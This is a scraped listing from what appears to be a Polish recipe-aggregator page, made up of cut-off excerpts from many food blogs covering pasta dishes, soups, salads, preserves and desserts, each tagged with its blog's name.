kwaśnymi śliwkami oraz przyprawy do piernika. Idealnie sprawdzą się podczas świątecznych wypieków i nie tylko... świetne są również jako smarowidło do naleśników, gofrów, grzanek czy też dodatek do sosów. Smakują rewelacyjnie! Nawet same, prosto ze słoiczka 😉 Składniki: 1,5 kg śliwek 100 g czekolady gorzkiej min. 70% 100 g mlecznej czekolady (dobrej jakości) 30 g przyprawy do piernika

Kuchnia MagdaLeny
Makaron z grzybami 180

masła • 1 łyżka oliwy • 1 mała cebula • 2 ząbki czosnku • 4 plasterki suszonej szynki (np. serrano, prosciutto) • 1 łyżka posiekanej natki pietruszki • 1/3 szklanki śmietanki 18% do zup i sosów • 4 łyżki tartego parmezanu lub grana padano Przygotowanie : Makaron ugotować w osolonej wodzie. Odcedzić i włożyć z powrotem do garnka. Grzyby oczyścić i opłukać, osuszyć i pokroić na plasterki

KUCHNIA POLSKA
Zupa pizza 194

ząbki czosnku 2 puszki pomidorów po 400 g natka pietruszki puszka kukurydzy starta mozzarella 1/2 łyżeczki oregano 1/2 łyżeczki bazylii 100-150 ml śmietanki 18% do zup i sosów sól pieprz chilli (ilość wedle uznania) starta mozzarella lub parmezan 1. Najpierw gotujemy bulion (u mnie na kościach z kurczaka). Pieczarki myjemy, kroimy w paseczki, cebulę kroimy w kostkę

kruche babeczki
Czwartek: Panissa risotto z mielonym mięsem i fasolką 175

wieprzowiny 100 g cienko krojonego boczku 100 g szynki parmeńskiej lub salami 1 niepełna szklanka ryżu arborio 1 cebula 1 marchewka 2 łyżki przecieru pomidorowego 400 ml passaty lub sosu pomidorowego Puszka czerwonej fasoli 1 szklanka wina Około 1/2 litra bulionu warzywnego lub mięsnego 1 łyżeczka oregano 1 łyżka oliwy Mały pęczek siekanej drobno pietruszki Sól i pieprz do smaku

Niedzielny kucharz
Fit polędwiczki z piersi kurczaka w trzyskładnikowej marynacie z suszoną natką pietruszki 150

przyjemnego smaku i aromatu. Takie polędwiczki świetnie się sprawdzą jako dietetyczny posiłek lub pokrojone w kostkę - jako składnik sałatki. Polecam! 400g polędwiczek z piersi kurczaka Marynata: 3-4 łyżki sosu sojowego 2 łyżki jogurtu naturalnego 1,5 łyżeczki suszonej natki pietruszki  Umyte polędwiczki dokładnie wymieszać w marynacie - tak, aby pokryła każdy kawałek. Całość odstawić do lodówki na około

Di gotuje
Pesto szpinakowe z orzechami włoskimi 150

Pewnie znacie już p esto alla genovese – zielony sos pochodzący z Włoch, którego głównym składnikiem jest bazylia? Tym razem chciałabym zaprezentować Wam przepis na pesto szpinakowe z orzechami włoskimi. Świetne do makaronu, czy jako pasta na kanapkę. Na moim blogu znajdziecie również inne propozycje klasycznego pesto – pesto z orzechów włoskich , pesto z pieczonych buraków , pesto z pieczonej dyni oraz

Be Fit Be Strong
Pierogi z kurkami, serem mascarpone i chipsami z szałwii 160

sklepach pojawiają się kurki, wprost nie mogę się powstrzymać, by przemycić je w każdym możliwym daniu. Sos kurkowy do mięs, risotto z kurkami, grzanki oraz warzywa z podsmażonymi na maśle grzybami, czy makarony i zapiekanki. W każdym daniu muszą pojawić się kurki! Im więcej, tym lepiej! Dlatego postanowiłem wykorzystać je również do farszu na pierogi. Kurki połączyłem z kremowym serem

Food Square
SZYNKA PIECZONA W RĘKAWIE 176

Szynka upieczona w rękawie to smaczne danie obiadowe na ciepło, ale także schłodzona jako wędlina na kanapki. Smaczna, aromatyczna mięciutka, soczysta, ponieważ mięso piecze się we własnym wytworzonym sosie i nie wysycha. Natarta przyprawami, marynowała się kilka godzin i wyszła wręcz idealna :) Składniki: * ok. 1 kg szynki wieprzowej * 5-6 łyżek oleju * przyprawa  pomidory z chili i oregano

Zrób to smacznie
MAKARON ZE SZPINAKIEM 162

Szpinakowa propozycja na obiad. Makaron z sosem to doskonałe danie proste i na szybko. Składniki: 450 g szpinaku mrożonego 3 ząbki czosnku 1 łyżeczka masła 1 łyżka mąki pszennej sól,  pieprz Gałka muszkatołowa 250 g serka kremowego śmietankowego 1 pierś z kurczaka Ponadto: Makaron rurki lub swiderki sól olej woda Pierś z kurczaka myjemy, kroimy w grubą kostkę. Smażymy

Słodki Zakątek
Leczo z cukinią 194

zrumienienia. Następnie wrzucamy cebulę i czosnek podsmażamy do zeszklenia. Teraz papryka. Jest najtwardsza z warzyw, więc przysmażamy ją najdłużej. Następnie cukinia. Na samym końcu pomidory, które szybko wytworzą sos. Gotujemy do chwili aż warzywa będą miękkie, ale nierozgotowane. Jeśli leczo jest zbyt gęste to w tym momencie dolewamy soku pomidorowego. Na końcu doprawiamy solą i pieprzem i dodajemy świeże pokrojone

Leśny Zakątek
Burgery z wędzoną rybą i soczewicą 153

wędzoną rybą i soczewicą ” zainspirowały mnie do stworzenia burgerów, w których zamiast typowej mięsnej wkładki jest właśnie wcześniejszy kotlecik rybny. Soczystości całemu burgerowi nadają te same dodatki, czyli sos curry na bazie jogurtu i odrobiny majonezu, dżem morelowy oraz surówka z marchewki. Jako, że burgery bez sałaty dla mnie nie istnieją, musiałam ją dodać i do tych burgerów

Moja Delicja
Tortilla z ziemniaków i cukinii , hiszpańskie tapas 313

gorąco lub zostawiamy żeby wystygła . Wszystko zależy od tego czy ma to być danie obiadowe na ciepło , czy zimna przekąska – tapas do piwa . Doskonała z salsą lub jakimkolwiek sosem pomidorowym , choć czosnkowy ( nasz ulubiony ) też nie wydaje się profanacją . Smacznego ! Artykuł Tortilla z ziemniaków i cukinii , hiszpańskie tapas pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
CIASTECZKA KAKAOWE Z SEZAMEM HELIO, czyli słodkie popołudnie w dobrym towarzystwie 154

dobrym towarzystwie – zapraszam!:)   Ciasteczka kakaowe z sezamem Helio – pycha, polecam! SEZAM łuskany HELIO poleca się do wypieków, nie tylko słodkich, rozmaitych sałatek, wszelakich past, marynat, sosów czy ot tak! do wspólnego wieczoru   SMACZNEGO, SŁODKIEGO, LENIWEGO I MIŁEGO DNIA

Zasmakuj Kuchni
Pasta figowa z orzechami włoskimi 151

była za gęsta, dolać trochę więcej soku z pomarańczy. W razie potrzeby dosłodzić miodem. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Pieczone figi z orzechami włoskimi i sosem z czerwonego wina → Tarta z ajerkoniakiem i figami → Hummus → Deser orzechowo-karmelowy

Oryginalny smak
Klopsiki z piekarnika 134

patelni to upiekłam je w piekarniku, dzięki czemu pozbawiłam je dodatkowego tłuszczu, a i ten co był w środku się idealnie wytopił. Klopsiki są bardzo smaczne, a z dodatkiem sosu tzatziki stanowią idealny obiad. I bardziej zdrowy. Czytaj więcej

Bernika - moj kulinarny pamietnik
Tosty francuskie na słodko 126

Dziś postaram się Was skusić na tosty francuskie, z dodatkiem jogurtu naturalnego, z pestkami granatu i orzechami włoskimi. Pozwoliłam sobie jeszcze dodać kapkę sosu krówkowego – takie małe rozpieszczenie podniebienia. Łapcie za te pyszne tosty! Składniki 1 jajko 4 kromki chleba tostowego 3 łyżki mleka 1 łyżka masła (do smażenia) szczypta soli szczypta cynamonu […] Artykuł Tosty francuskie na słodko

Pink Envelope
Pudding z kaszy manny 98

zupę mleczną. Kaszę mannę bardzo lubię i dziś przygotowałam szybki deser z nią w roli głównej. Pudding przygotowujemy nie dłużej niż w 15 minut i możemy zaszaleć z owocowymi sosami lub innymi dodatkami. U mnie […] Artykuł Pudding z kaszy manny pochodzi z serwisu Pink Envelope

Pink Envelope
Makaron z krewetkami 113

Skoro mają być krewetki to w jak najlepszej odsłonie. Moja propozycja: z tagliatelle, w gęstym sosie śmietanowym, dorzucamy kilka suszonych pomidorów, szczypiorek, świeżą bazylię, zakończymy aromatycznym parmezanem i możemy poczuć się jak we Włoszech :) Inspirowałam się przepisem z książki What Katie Ate. Składnikiok. 300 g makaronu tagliatelle250 g mrożonych krewetek Black Tiger1 szklanka […] Artykuł Makaron z krewetkami pochodzi

Pink Envelope
Churros na Tłusty Czwartek 123

Chrupiące na zewnątrz, z miękkim środkiem, maczane w sosie karmelowym – moje pierwsze churros na Tłusty Czwartek. Przysmak hiszpański, który fantastycznie smakuje na ciepło, posypany cukrem pudrem. Pączki u nas obowiązkowo pojawiają się na Tłusty Czwartek, ale chciałam również spróbować czegoś innego. Inspirowałam się przepisem z blogu Call me cupcakes. Składniki 100 […] Artykuł Churros na Tłusty Czwartek pochodzi

Pink Envelope
British breakfast 146

Tradycyjne brytyjskie śniadanie jest bardzo obfite i przede wszystkim tłuste. Składa się ze smażonych jajek, ziemniaków, bekonu, kiełbasek, fasolki w sosie pomidorowym, pomidorów i tostów. Dodatkowo można dostać black pudding (kaszanka) lub pieczarki smażone na maśle. Jest również wersja wegetariańska, w której podaje się szpinak i tofu. Jadłam je w The Bristolian. Smaczne miejsce, w którym […] Artykuł British breakfast

Pink Envelope
Penne pollo spinaci 295

Szybki i prosty obiad ale za to jaki dobry. Makaron w sosie szpinakowym z kurczakiem i czosnkiem. Uwielbiam takie obiady bo w swojej prostocie są obłędne w smaku. Uwielbiam szpinak więc staram się go przygotowywać od czasu do czasu.  250 g makaronu  penne  1 pierś z kurczaka 3 ząbki czosnku 250 g szpinaku  baby 1 cebula

wesoła kuchnia
Pierogi a la pizza 187

Świetny pomysł na szybką przekąskę. Smakuje równie dobrze jak pizza. Podawać można z sosem czosnkowym http://gotuj-ze-mna.pl/sosy/sos-czosnkowy/, ketchupem z cukinii http://gotuj-ze-mna.pl/przetwory/keczup-z-cukinii/ itp. Polecam smakuje dzieciom jak również dorosłym. Składniki Ciasto na pizze według przepisu:http://gotuj-ze-mna.pl/przystawki/pizza-w-g-julii/ 6 polędwiczek z kurczaka 6 suszonych pomidorów w oliwie pokrojonych w paski oliwa z suszonych pomidorów bakłażan mozzarella ,tarta czosnek

gotuj ze mną
Wspaniała biesiada i przepisy z notatnika Marysi. 180

okazje pokosztować świetnych chlebów upieczonych przez Marysię ze smalcem "firmowym" przygotowanym przez jej męża. Pyszne kiełbaski oraz  pieczarki  pieczone na grillu podane były  domowymi pikantnymi sosami. Kosztowaliśmy również ogromne pomidory zz własnej uprawy. Było pysznie i wesoło. Ogród przed domem.  Na spacerze  po okolicy Na koniec Marysia podzieliła się z nami ciekawszymi przepisami

Gotuj Sam!
guiso de jabalí con níscalos (gulasz z dzika, z rydzami) 257

chleb włozyć do blendera, dodać sól, pieprz, oregano, trochę wina z patelni i wszystko zblendować, na nie koniecznie bardzo gładką masę. Dodać do duszącego się mięsa. Dolać wody, żeby sos nie był zbyt gęsty. Dodać groszek. Duśić wszystko na małym ogniu, aż mięso będzie miękkie. Ziemniaki pokroić na niezbyt wielkie kawałki – takie bardziej odłupywane niż regularna kostka – wrzucić

stajnia gołębie od kuchni
Mini murzynki z wiśniami 158

ganache): W rondelku mocno podgrzać śmietanę kremówkę (nie wolno zagotować!) i wyłączyć gaz. Dodać połamane czekolady i mieszać, aż do całkowitego połączenia składników. Ostudzić i wstawić do lodówki, aby sos trochę zgęstniał. Następnie polać babeczki i udekorować resztą wiśni. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Murzynek → Muffiny czekoladowe z czerwoną porzeczką → Babeczki czekoladowe z ganache → Ciasto jogurtowe

Oryginalny smak
Kotleciki z cukinii z kaszą jaglaną, mozzarellą i pomidorem suszonym 233

zbyt rzadka dodaj łyżkę bułki tartej Etap IV - smażenie Z powstałej masy uformuj małe kotleciki. Rozgrzej patelnie z olejem. smaż do uzyskania złotego koloru. Jedz jako burgery lub z sosem tzatziki, aioli :) smacznego ! Wpis inspirowany mozzarellą Galbani

Wylizany Rondel
ZAPIEKANKA KEBAB-GYROS Z RYŻEM 177

wykładamy do naczynia żaroodpornego, na przygotowany wcześniej ryż. W kubku rozbełtujemy jajko i dodajemy majonez, jogurt naturalny oraz ketchup. Wszystko dokładnie mieszamy i przyprawiamy lekko solą i pieprzem. Przygotowany sos wylewamy na wierzch zapiekanki i posypujemy startym, żółtym serem. Wkładamy do piekarnika nagrzanego do 180 stopni na około 20-30 min. Podajemy na ciepło

Kuchnia MagdaLeny
Bułgarski obiadek – czuszka biurek- papryka faszerowana serem 229

łyżeczka czubrycy szczypiorek opcjonalnie jajko cebula pieprz, sól Nadziewamy papryki farszem a potem obtaczamy w mące i jajku ( najlepiej podwójnie) a następnie smażymy na oleju. Podawać z sosem barbecue   Polecam bo jadłam ten przysmak pierwszy raz i bardzo mi smakował

Moje Wyroby
Spaghettli alle Vongole 134

kilku minutach gotowania zdjąć pokrywkę. Muszle wyłowić łyżką cedzakową, odrzucić wszystkie zamknięte. Pozostały wywar lekko zredukować na małym ogniu i doprawić ewentualnie.  Ugotowany makaron odcedzić i wrzucić do sosu, dodać odcedzone vongole, natkę pietruszki i całość wymieszać. Podawać na gorąco

wyzwania kuchenne
Tagliatelle Z Kurczakiem W Sosie Lekko Musztardowym Z Kurkami 222

zagotowujemy, następnie dodajemy musztardę i według swoich smaków albo jedną łyżeczkę albo dwie lub nawet więcej. Doprawiamy solą i natką pietruszki i gotujemy jeszcze chwilkę do zgęstnienia. Gotowy sos podajemy z makaronem tagliatelle. Smacznego

Gotowanie...to proste !
Farszynki Z Pieczarkami 879

owalny kształt bądź podłużny i obtaczamy w mące ;) 7. Smażymy na rozgrzanym oleju, na niewielkim gazie do momentu, aż farszynki się ładnie zrumienią z obydwóch stron. Podajemy z ulubionym sosem, sałatką

Gotowanie...to proste !
SPAGHETTI Z BOCZKIEM I SŁODKĄ ŚMIETANKĄ 159

niego), następnie dodaję cebulę i czosnek, podsmażam razem jeszcze przez kilka minut. Do boczku wlewam śmietankę, dodaję bazylię i sól do smaku oraz sporo świeżo mielonego pieprzu, zagotowuję. Do sosu dodaję odcedzony, gorący makaron, dokładnie mieszam i gotuję razem około minuty. Na koniec dodaję ser i natkę pietruszki, mieszam. Trzymam na ogniu do momentu rozpuszczenia się sera. W razie potrzeby

JejKuchnia
brownie z cukinii 146

już wiecie cukinia bardzo obrodziła w tym roku. Wciąż zbieramy plony i już nie wiemy jak ją przerabiać. Sosy już były, teraz przyszedł czas na słodkości. Przeglądając FB znalazłam piękne zdjęcie i tak oto znalazłam się na stronie ilovebake.pl, a tam znalazłam przepis na brownie z cukinii.  Zmieniłam oczywiście mąkę tortową na ostatni mój hit mąkę z ciecierzycy

Gotowanie z pasją
Sałatka ogórkowa z gorczycą 141

pokroić w cienkie półplasterki. Czosnek pokroić w cienkie plasterki. Ogórki odcisnąć, płyn z ogórków wylać. Dodać do nich cebulę, czosnek, gorczycę, ocet i cukier. Wymieszać. Ogórki wraz z wytworzonym sosem przełożyć do słoików (z tej porcji otrzymamy 8 słoików o pojemności 450 ml). Słoiki pasteryzować 12 minut w 90 stopniach. Jeżeli mamy większe słoiki to chwilę dłużej. Słoki wyjąć

królestwo garów
Gulasz z cukinią 197

pokrojoną w kostkę cukinię, lubczyk, chilli i ewentualnie doprawić sola oraz pieprzem. Nadal dusić na małym ogniu pod przykryciem, aż mięso i cukinia będą miękkie. Na koniec można zaciągnąć sos odrobiną mąki, żeby był gęstszy. Gulasz podawać na ciepło, posypany posiekaną natką pietruszki, na przykład z kaszą gryczaną

Simply Food
SAŁATKA Z POMIDORÓW Z FETĄ 179

ulubiony Wykonanie: Pomidory kroimy w duże kostki, cebulę drobno kroimy w półpiórka. Pomidory mieszamy z cebulą, posiekaną natką i fetą. W szklance do oleju dodajemy pieprz, sól, mieszamy, przygotowanym sosem polewamy surówkę

Z Majeczką w kuchni
ŚMIETANOWY MROŻONY DESER Z MALINAMI 162

cytryny, cukier puder do smaku. Wszystkie składniki dobrze mieszamy. Formę keksówkę wykładamy folią spożywczą, wykładamy masę śmietanową. Wstawiamy na ok godzinę do zamrażarki, aby się dobrze schłodziło. sos: 20 dag świeżych malin cukier puder do smaku listki mięty Wykonanie: Maliny blendujemy ( odkładamy kilkanaście sztuk do dekoracji), powstały mus podgrzewamy, dosładzamy do smaku. Gotowy schłodzony deser kroimy w plastry, nakładamy

Z Majeczką w kuchni
LegendarnY z ogrodka, przetrwał dżumę : ocet czterech złodziei 187

szklanki octu, a na górze przefiltrowaną wodę. Spryskaj skórę, ubrania itp., Aby odstraszać brzydkie robale. Przyprawa - u żywaj jako przyprawy d o duszonych mięs i warzyw lub przygotuj sos winegret na sałatki. we ź łyżeczkę kilka razy dziennie, aby zapobiec przeziębieniom / grypie. "Najbardziej znan ą i interesującą historią uzdrowienia wynikającą z wielkiej plagi Czarnej Śmierci była historia czterech złodziei

w mojej kuchni
Curry z brokułem i serem halloumi 195

było okazji podzielić się przepisem. Dziś w końcu postanowiłam to zmienić i tak prezentuję pyszne, wegetariańskie curry. Curry z brokułem i halloumi jest niezwykle smaczne i aromatyczne, a sos zagęszczony orzechami nerkowca jest po prostu rewelacyjny. Jestem pewna, że to danie zasmakuje każdemu. Zdecydowanie polecam. Curry  z brokułem i serem halloumi Składniki: opakowanie sera halloumi

Codzienne Gotowanie
Schab z kością duszony w mleku 148

osobnym garnku wlałem mleko, dodałem zmiażdżony czosnek i inne przyprawy, zagotowałem. Mięso oprószyłem solą i pieprzem. Do gotującego się mleka włożyłem obsmażony schab. Dusiłem pod przykryciem ok. 2 godzin. Sos odparowałem, aż zrobił się zawiesisty i gęsty. Doprawiłem do smaku przyprawami

R'n'G Kitchen
Piątek: Ravioli w błyskawicznym kremie pomidorowym 186

jednego z nowojorskich kucharzy, który w serwisie Seriouseat.com opisał testy nad najlepszym kremem pomidorowym. Po wypróbowaniu różnych sposobów okazało się, że najlepszy efekt daje połączenie gotowanego na małym ogniu sosu pomidorowego, który pod wpływem temperatury karmelizuje się i nabiera głębi ze świeżymi pomidorami, wnoszącymi kwiatowy, lekki armat. Wszystko to znajduje potwierdzenie w naszej zupie, która składa się z trzech składników

Niedzielny kucharz
LANGOSZE Z ZIEMNIAKAMI 165

złoty kolor (olej ma sięgać do połowy patelni).  Odsączamy na ręczniku papierowym. Podajemy według własnego gustu. Ja jadłam z serem i keczupem. Można polać śmietaną, zjeść z sosem czosnkowym lub gulaszem :) Przepis na ten węgierski specjał znalazłam na wspaniałym blogu  FACETNATALERZU

Pani na deser
KASZOTTO MEKSYKAŃSKIE Z KURCZAKIEM 193

garnka dodajemy pomidory, fasolę razem z zalewą oraz kukurydzę, mieszamy do zagotowania. Gotujemy bez przykrycia ok.15 minut, co jakiś czas mieszając. Aż kasza pęczak zmięknie i powstanie gęsty sos. Podajemy z awokado, posypane obficie świeżą kolendrą... mniam... Można także posypać tartym serem lub polać kwaśną śmietaną. Smacznego

Smaczne Zdrowe
Jak suszyć pomidory? – 3 sprawdzone sposoby 179

oregano i bazylię . Całość wystarczy dokładnie wymieszać, a słoiki szczelnie zamknąć. Olej, w którym przechowywano suszone pomidory, można bez obaw wykorzystać do przyrządzenia rozmaitych potraw. Będzie świetną bazą do sosów lub dressingów, ale przyda się również do smażenia. Im dłużej będą moczyły się w nim pomidory, czosnek oraz wybrane przyprawy, tym olej będzie miał bogatszy smak i aromat! (function(){ iy2k

codojedzenia
Kotlet z indyka po zbójnicku 194

Zwykły kotlet wcale nie musi być nudny, pomysłowa panierka , aromatyczna marynata czy sos sprawiają, że nawet najzwyklejsze mięso nabiera innego smaku , polecam na pyszny codzienny,  pożywny obiad. W ten sam sposób można zrobić kotlety schabowe czy fileta z kurczaka. Składniki: 1 kg fileta z indyka 3 jajka 4 ząbki czosnku 3 łyżki mąki ziemniaczanej 3 łyżki ketchupu pikantnego

Wanilia i Kardamon
Kotlety ziemniaczane z suszonymi pomidorami 159

mięciutkie kotlety ziemniaczane z dodatkiem suszonych pomidorów i natki pietruszki, świetna alternatywa na pozbycie się   pozostałych z obiadu ziemniaków, są smaczne i mało pracochłonne, świetnie smakują z sosem pomidorowo-bazyliowym, pieczarkowym a nawet dipem jogurtowym. Składniki: ½ kg gotowanych ziemniaków   ½ szklanki mąki pszennej 1 jajko 1 cebula 2 ząbki czosnku 1 łyżka klarowanego masła 3 suszone pomidory z zalewy

Wanilia i Kardamon
Białe kiełbaski z fasolką szparagową, papryką, marchewką i cukinią 196

kiełbaski ładnie się nam zarumienią a warzywa będą miękkie. 4. Pod koniec dodajemy fasolkę szparagową, całość mieszamy, jeśli trzeba doprawiamy solą i pieprzem.  Podajemy z pieczonymi ziemniaczkami, frytkami, sosem. Smacznego

kruche babeczki
Sałatka z żółtej cukinii i rzodkiewki z dressingiem ziołowym 164

składniki się połączyły. Dressing odkładamy na kilka minut. W dużej misce dokładnie mieszamy cukinię z rzodkiewką, polewamy je dressingiem i ponownie mieszamy tak aby warzywa były dokładnie pokryte sosem. Smacznego

Życie ze smakiem
Sałatka z pieczonym schabem, pomidorkami, ogórkiem i serem 171

przekładam do miski. Doprawiam do smaku solą oraz pieprzem. Delikatnie mieszam. 2. Jogurt naturalny mieszam ze śmietaną, sokiem z cytryny, oliwą z oliwek oraz odrobiną soli i pieprzu. Przygotowanym sosem polewam sałatkę

Tradycyjna kuchnia Kasi
Babka ziemniaczana 162

suchej patelni. To taki swojski pomysł na obiad.  Te babkę bardzo lubię podawać odsmażaną z dodatkiem ogórków i pomidorów. Wiecie co jeszcze idealnie do niej pasuje? Domowy sos czosnkowy na zimno - przepyszne połączenie

AniaGotuje.pl
Duszona karkówka w pikantnym sosie pomidorowym z mleczkiem kokosowym 230

Składniki: 1 kg karkówki 4 łyżki przyprawy do gyrosa 1 duża cebula 3 ząbki czosnku 0,5 l przecieru pomidorowego (przepis  tutaj ) 2 łyżki koncentratu

Qchnia po prostu
Puree ziemniaczane z mięsem -zapiekanka 166

ziemniaczanego puree z mięsem mielonym to moja propozycja na smaczny syty obiad. Można wykorzystać ziemniaki ugotowane z dnia poprzedniego, które zostały z obiadu. Po upieczeniu można polać ketchupem lub sosem czosnkowym. Na blogu w dziale Zapiekanki znajdziecie mnóstwo pomysłów na zapiekane dania z piekarnika. Jeżeli skorzystaliście Państwo z moich przepisów to proszę podzielcie się swoją opinią w komentarzach

O kuchni z uczuciem
Królik duszony w pomidorach 221

czasie pomidory się rozpadną, a mięso zacznie odchodzić od kości. Wyjąć mięso z naczynia. Pomidory i cebulę zmiksować ręcznym blenderem i odparować nadmiar płynu. Królika podawać z uzyskanym sosem

Weekendy w domu i ogrodzie
Sałatka z serem pleśniowym, orzechami i gruszką 151

Karolina. Dla mnie bomba. Do naczynia wrzucić mix sałat, obsypać orzechami. Gruszki przekroić na grube plastry i obłożyć nimi sałatę. Ser pleśniowy połamać na małe kawałki. Całą górę skropić sosem balsamicznym. Dla mnie rewelacja, smakowała mi bardzo. Dziękuje Karolcia

Kuchnia Pokoleń
Tartaletki z pieczarkami 141

wszelakich i dipów. Jednym słowem na lunch, do pracy i propozycja na imprezę, której bym się nie powstydziła. Można je ładnie ułożyć np. na świeżej rukoli i polać delikatnie sosem serowym lub dipem czosnkowym, pomidorowym. Pycha! Składniki na 12 tartaletek: opakowanie ciasta francuskiego farsz pieczarkowy z tego przepisu tarty parmezan lub żółty ser, dowolnie 12 silikonowych foremek na muffinki Przygotowanie

Zasmakuj Kuchni
Szybkie parówki w cieście z serem i pastą warzywną (na piknik lub przyjęcie) 265

serem. Wkładamy do nagrzanego do 210 stopni piekarnika (grzanie góra-dół, środkowy poziom) i pieczemy do ładnego zarumienienia. Tak przygotowane parówki idealnie smakują same, jak i w towarzystwie ulubionych sosów. Najlepiej smakują jeszcze lekko ciepłe. Smacznego

Słodkie okruszki
Śniadaniowa sałatka z jajkami i kiełbasą 155

pokroić w kostkę. Kukurydzę odcedzić z zalewy, a natkę pietruszki drobno posiekać. Wszystkie składniki umieścić w misce i wymieszać z majonezem. Sałatkę doprawić do smaku. (*) Często zamiast majonezu używam sosu czosnkowego . Zależy to od smaku użytej kiełbasy

Di gotuje
Chlebek z cukinii 146

ciast. Ja nie wyrzynałam i połowę chlebka jadła na gorąco Polecane przepisy: – w jednym miejscu wszystkie moje najlepsze przepisy na kolację – carpaccio z cukinii – makaron z cukinią w sosie śmietanowym – sałatka z grillowanych warzyw – zupa krem z cukinii – faszerowana okrągła cukinia – tarta z cukinią – mini cukinie pieczone – zbiór przepisów FIT i odpowiedź na pytanie co jeść na diecie chlebek

nietylkopasta.pl
Śledzie skandynawskie 232

pieczywa lub jako dodatek do pieczonych ziemniaków. Śledzie przygotowywane na północy w Skandynawii czy Danii różnią się nieco od tych Polskich. Przede wszystkim mają często dodatek cukru lub słodkie sosy. Tym razem jednak słodycz jest tylko w tle, a śledzie smakują wieloma pysznymi przyprawami, mniej typowymi jak patrzę na nasze polskie przepisy. Ale zachęcam naprawdę do ich zrobienia, efekt gwarantowany

nietylkopasta.pl
Kebabowe szaszłyki z szynki 140

dowolny sposób , na grillu gazowym lub węglowym , można także w piekarniku . Czas grillowania jest zależny od wielu czynników , generalnie zawsze jest to na oko Do szaszłyków świetnie smakuje oczywiście sos czosnkowy lub chilli i koniecznie ogórek małosolny .Smacznego ! Artykuł Kebabowe szaszłyki z szynki pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Jak upiec wiejskiego kurczaka , żeby był miękki i soczysty 276

około 10-15 szt domowych kogutków do uboju . Pyszne mięso , które jest tak aromatyczne ,że kupne kurczaki z masowych ferm nie zbliżają się nawet na kilometr do tej jakości . Sos przygotowany na bazie wywaru z wiejskiego kurczaka nie potrzebuje praktycznie nic , oprócz soli i śmietanki , a sam w sobie jest genialny w smaku i zapachu . Moi chłopcy uwielbiają to mięso

Ogrodnik w podróży
STRIPSY JAK Z KFC 227

patelnię wylewam olej a następnie rozgrzewam. Mięso doprawiam solą ,pieprzem, papryką wędzoną. Mięso panieruje i smażę na rumiano ze wszystkich stron.  Podaję na ciepło z ulubionym sosem

Gotowanie Patki
Piątek: Prowansalska zupa pomidorowa 195

warto użyć, jest skórka z parmezanu. Wiecie o co chodzi: parmezan składa się z części miękkiej i twardego rąbka. Warto go zachować, kiedy zużyjecie cały ser. Skórka świetnie aromatyzuje sosy, zupy, a pomidorową w szczególności. Do zupy można zrobić grzanki aromatyzowane ziołami prowansalskimi. My przygotowaliśmy wyjątkowe grzanki z figami i z bryndzą. Przepis jest bardzo prosty: stostuj pieczywo, połóż

Niedzielny kucharz
Kabaczek faszerowany 186

Składniki : • 1 kabaczek • 150 g mielonej jagnięciny • 1 mała cebula • 1 ząbek czosnku • 2 łyżki posiekanej natki pietruszki • 4 łyżki passaty (sosu) pomidorowego lub 1 łyżeczka koncentratu pomidorowego • 150 g kurek • 1 jajko Przyprawy: • 1 łyżeczka papryki w proszku (słodkiej) + ostrej do smaku • 1 łyżeczka zmielonego kminu rzymskiego (kuminu) • 1 łyżeczka zmielonej kolendry • 1/2 łyżeczki kurkumy • 1/2 łyżeczki cynamonu

KUCHNIA POLSKA
PASTERYZOWANA PAPRYKA PO CHORWACKU + FILMIK 830

kiedy papryka zmięknie należy ją odcedzić i wybrać kulki pieprzu i ziela oraz liście laurowe.  Musztardę mieszamy z olejem i miodem.  W dużej misce mieszamy warzywa i sos musztardowy.  Nakładamy do czystych słoiczków i zakręcamy. Pasteryzujemy w wodzie około 5-7 minut licząc czas od zagotowania się wody.  Przechowujemy w chłodnym miejscu.  Smacznego

Kulinarne Fantazje Marioli
ZAPIEKANKA ZIEMNIACZANA, CEBULOWO- SZYNKOWA + FILMIK 171

Zapiekankę z ziemniaków można przygotować na wiele sposobów i przeróżnymi składnikami. Dzisiaj przygotowałam ją z pieczoną cebulą i szynką. Polana jest sosem śmietanowo - jajecznym i zapieczona. Jest idealna na obiad, podwieczorek lub piknik.       SKŁADNIKI : 1,5 kg ziemniaków 4 jajka 200 ml śmietany 30 % 5-6 cebul 150 g szynki wędzonej sól, gałka muszkatołowa,pieprz

Kulinarne Fantazje Marioli
Fit kalafior w cieście 251

przygotowany w cieście z mąki z ciecierzycy, to lekkie i wartościowe danie. Dzięki mące z cieciorki jest dodatkowo bogaty w białko. Tak upieczone kawałki kalafiora możecie podać z ulubionym sosem. Kalafior dzięki przyprawie gyros lub curry jest bardziej wyrazisty w smaku. W dodatku jest bez glutenu, a w przypadku użycia odpowiedniego mleka także bez laktozy i wegański. Polecam jeść

Fabryka pomysłów
PLACUSZKI WARZYWNE 192

mnie do w/w składników 4 łyżki.  Dodać przyprawy , wymieszać, posmakować i smażyć po jednej łyżce ciasta na rozgrzanej patelni.  Podawać np. z  tzatzikami  lub innym sosem

pieprzny smaczek
KUCHENNA APTEKA #14 - ŚLIWKI 162

mirabelki. W Polsce śliwki, obok jabłek, to najczęściej spotykane owoce w sadach. Wykorzystuje się je w kuchni do przygotowywania m.in. konfitur, dżemów, kompotów, knedli, ciast, a także nalewek oraz sosów i marynat do mięs. Jednak śliwka jest niedocenianym owocem, jeżeli chodzi o właściwości zdrowotne. Większość osób nie zdaje sobie sprawy jakie właściwości lecznicze oraz składniki odżywcze i witaminy posiada

Kuchnia MagdaLeny
MINI PIZZE Z CUKINII (keto, LCHF, optymalne, bez glutenu) 520

świeżo zmielonym czarnym pieprzem. Przecier pomidorowy wymieszać z przyprawami: solą, pieprzem, oregano, ziołami prowansalskimi, suszona bazylią. Plastry cukinii ułożyć na blaszce wyłożonej papierem do pieczenia. Każdy plaster posmarować przygotowanym sosem pomidorowo-ziołowym. Następnie pizze posypać serem mozzarella i ułożyć pokrojone w plasterki kabanosy/salami/boczek oraz pomidorki. Całość posypać solą, pieprzem, oregano i ziołami prowansalskimi. Mini mini pizze z cukinii zapiekać

Ola la LCHF
Hamburgery domowe 156

